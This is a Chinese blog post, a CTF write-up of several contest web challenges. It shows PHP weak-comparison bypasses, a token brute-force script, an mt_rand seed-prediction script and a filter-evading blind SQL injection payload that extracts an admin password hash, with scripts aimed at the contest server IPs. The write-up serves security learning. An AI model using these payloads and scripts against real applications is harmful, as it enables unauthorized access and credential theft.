p0's blog | 破 关注网络安全
网络空间安全技术大赛几个简单的Web
发表于: | 分类: CTF | 评论:0 | 阅读: 2766

签到题

考察php弱类型特性导致的问题

if (isset($_GET['Username']) && isset($_GET['password'])) {
       $logined = true;
    $Username = $_GET['Username'];
    $password = $_GET['password'];

    if (!ctype_alpha($Username)) {$logined = false;}
    if (!is_numeric($password) ) {$logined = false;}
    if (md5($Username) != md5($password)) {$logined = false;}

    if ($logined){
        echo "successful";
    } else {
        echo "login failed!";
    }
}

username password md5加密后以0e开头,后面全是数字, == 运算后就都是0
username=240610708&password=QNKCDZO便可绕过,后面还是一个弱类型

<!--  if (isset($_POST['message'])) 
{     
$message = json_decode($_POST['message']);     
$key ="*********";     
if ($message->key == $key) {        echo "flag";     }  
else {      echo "fail";     }  }
else{    echo "~~~~";  } -->

0 == string => truemessage={"key':0} 即可

抽抽奖

纯前端,用firebug在DOM里找到了getflag函数,直接拿到flag,没意义

继续抽

关键代码:

$(function() {
    var rotateFunc = function(jsctf0, jsctf1, jsctf2) {
        $('token.php').stopRotate();
        $("#lotteryBtn").rotate({
            angle: 0x0,
            duration: 0x1388,
            animateTo: jsctf1 + 0x5a0,
            callback: function() {
                $.get('get.php?token=' + $("#token").val() + "&id=" + encode(md5(jsctf2)), function(jsctf3) {
                    alert(jsctf3['text'])
                }, 'json');
                $.get('token.php', function(jsctf3) {
                    $("#token").val(jsctf3)
                }, 'json')
            }
        })
    };
    $("#lotteryBtn").rotate({
        bind: {
            click: function() {
                var jsctf0 = [0x0];
                jsctf0 = jsctf0[Math.floor(Math.random() * jsctf0.length)];
                if (jsctf0 == 0x1) {
                    rotateFunc(0x1, 0x9d, 1)
                };
                if (jsctf0 == 0x2) {
                    rotateFunc(0x2, 0xf7, 2)
                };
                if (jsctf0 == 0x3) {
                    rotateFunc(0x3, 0x16, 3)
                };
                if (jsctf0 == 0x0) {
                    var jsctf1 = [0x43, 0x70, 0xca, 0x124, 0x151];
                    jsctf1 = jsctf1[Math.floor(Math.random() * jsctf1.length)];
                    rotateFunc(0x0, jsctf1, '\x30')
                }
            }
        }
    })
})

encode函数:

function encode(string) {
    var output = '';
    for (var x = 0, y = string.length, charCode, hexCode; x < y; ++x) {
        charCode = string.charCodeAt(x);
        if (128 > charCode) {
            charCode += 128
        } else if (127 < charCode) {
            charCode -= 128
        }
        charCode = 255 - charCode;
        hexCode = charCode.toString(16);
        if (2 > hexCode.length) {
            hexCode = '0' + hexCode
        }
        output += hexCode
    }
    return output
}

做的动作就是把一二三等奖和没中奖分别用1,2,3,0表示,md5()加密然后encode()加密,get方式请求get.php获取返回信息。
尝试发送一等奖请求,返回你猜猜flag在哪里?。二等奖和三等奖也没有flag,我们尝试encode(md5('flag')),发送过去,返回flag不在这里
那就爆破一下吧,1-1000,爆破到143发现flag,附上脚本:

import requests
import json
import hashlib
from bs4 import BeautifulSoup

def encode(s):
    res = ''
    for ch in s:
        charcode = ord(ch)
        if charcode < 128:
            charcode += 128 
        elif charcode > 127:
            charcode -= 128
        charcode = 255 - charcode
        hexch = str(hex(charcode))[2:]
        if(len(hexch) < 2):
            hexch = '0' + ch
        res += hexch
    return res

def md5(s):
    md5 = hashlib.md5()
    md5.update(s.encode('utf-8'))
    return md5.hexdigest()
    
s = requests.Session()
for i in range(10000):
    id = encode(md5(str(i)))
    r = s.get('http://117.34.111.15:81/')
    soup = BeautifulSoup(r.text, 'lxml')
    token = soup.select('#token')[0].attrs['value']
    #print(token)
    url = 'http://117.34.111.15:81/get.php?token='+token+'&id='+id
    res = json.loads(s.get(url).text)
    if 'flag{' in res["text"]:
        print(i, res["text"])
        break

Wrong

.index.php.swp文件泄露:

<?php 
error_reporting(0);
function create_password($pw_length =  10){
    $randpwd = "";
    for ($i = 0; $i < $pw_length; $i++){
        $randpwd .= chr(mt_rand(33, 126));
    }
    return $randpwd;
}
session_start();
mt_srand(time());
$pwd=create_password(); 
if($pwd==$_GET['pwd']){
    if($_SESSION['userLogin']==$_GET['login'])
        echo "Good job, you get the key";
}else{
    echo "Wrong!";
}
$_SESSION['userLogin']=create_password(32).rand();
?>

第二个if把session清空,login留空就可以绕过,第一个利用种子爆破,附上脚本:

<?php
function create_password($pw_length =  10){
    $randpwd = "";
    for ($i = 0; $i < $pw_length; $i++){
        $randpwd .= chr(mt_rand(33, 126));
    }
    return $randpwd;
}
$t = time()-20;
for($i = $t; $i < $t + 40; $i++){
    mt_srand($i);
    $pwd=create_password(); 
    $curl = file_get_contents("http://117.34.111.15:85/index.php?pwd=$pwd&login=");
    echo $curl.'<br>';
}

由于网络原因多刷几次,或者把时间范围搞大点就OK了

so easy!

<?php 

include("config.php");

$conn ->query("set names utf8");

function randStr($lenth=32){
    $strBase = "1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm";
    $str = "";
    while($lenth>0){
      $str.=substr($strBase,rand(0,strlen($strBase)-1),1);
      $lenth --;
    }
   return $str;
}

if($install){
    $sql = "create table `user` (
         `id` int(10) unsigned NOT NULL PRIMARY KEY  AUTO_INCREMENT ,
         `username` varchar(30) NOT NULL,
         `passwd` varchar(32) NOT NULL,
         `role` varchar(30) NOT NULL
       )ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci ";
    if($conn->query($sql)){
       $sql  = "insert into `user`(`username`,`passwd`,`role`) values ('admin','".md5(randStr())."','admin')";
       $conn -> query($sql);
    }
}

function filter($str){
     $filter = "/ |\*|#|;|,|is|union|like|regexp|for|and|or|file|--|\||`|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%a0')."/i"; 
     if(preg_match($filter,$str)){
         die("you can't input this illegal char!");
     }
     return $str; 

}


function show($username){
  global $conn;
  $sql = "select role from `user` where username ='".$username."'";
  $res = $conn ->query($sql);
  if($res->num_rows>0){

      echo "$username is ".$res->fetch_assoc()['role'];
  }else{
      die("Don't have this user!");
  }
}

function login($username,$passwd){
    global $conn;
    global $flag;

    $username = trim(strtolower($username));
    $passwd = trim(strtolower($passwd));
    if($username == 'admin'){
        die("you can't login this as admin!");
    }
    
    $sql = "select * from `user` where username='".$conn->escape_string($username)."' and passwd='".$conn->escape_string($passwd)."'";
    $res = $conn ->query($sql);
    if($res->num_rows>0){
        if($res->fetch_assoc()['role'] === 'admin') exit($flag);
    }else{
       echo "sorry,username or passwd error!";  
    }

}

function source(){

    highlight_file(__FILE__);
}

$username = isset($_POST['username'])?filter($_POST['username']):"";
$passwd = isset($_POST['passwd'])?filter($_POST['passwd']):"";

$action = isset($_GET['action'])?filter($_GET['action']):"source";

switch($action){
   case "source": source(); break ;
   case "login" : login($username,$passwd);break;
   case "show" : show($username);break;
}

数据库使用latin1编码,用户名可以用admin%c2绕过。show()函数里面没过滤引号,盲注拿到passwd,可以使用函数:selectfromwheremid,够了,payload:'=(bool)=',过滤了逗号,但是可以使用mid((string)from(1)),附上脚本:

# -*- coding: utf-8 -*-
import requests
url = 'http://117.34.111.15:89/?action=show'
def check(payload):
    postdata = {'username':payload}
    r = requests.post(url, postdata).content
    return 'admin' in r

password  = ''
s = r'0123456789abcdef'

for i in xrange(32,0,-1):
    for c in s:
        payload = '\'=(select(1)from(user)where(mid((passwd)from(%d))=\'%s\'))=\'' % (i, (c+password))
        if check(payload):
            password = c + password
            break
    print password

跑出来密码37b1d2f04f594bfffc826fd69e389688 login拿到flag


著作权归作者所有。
商业转载请联系作者获得授权,非商业转载请注明出处。
作者:p0
链接:http://p0sec.net/index.php/archives/94/
来源:http://p0sec.net/

添加新评论

TOP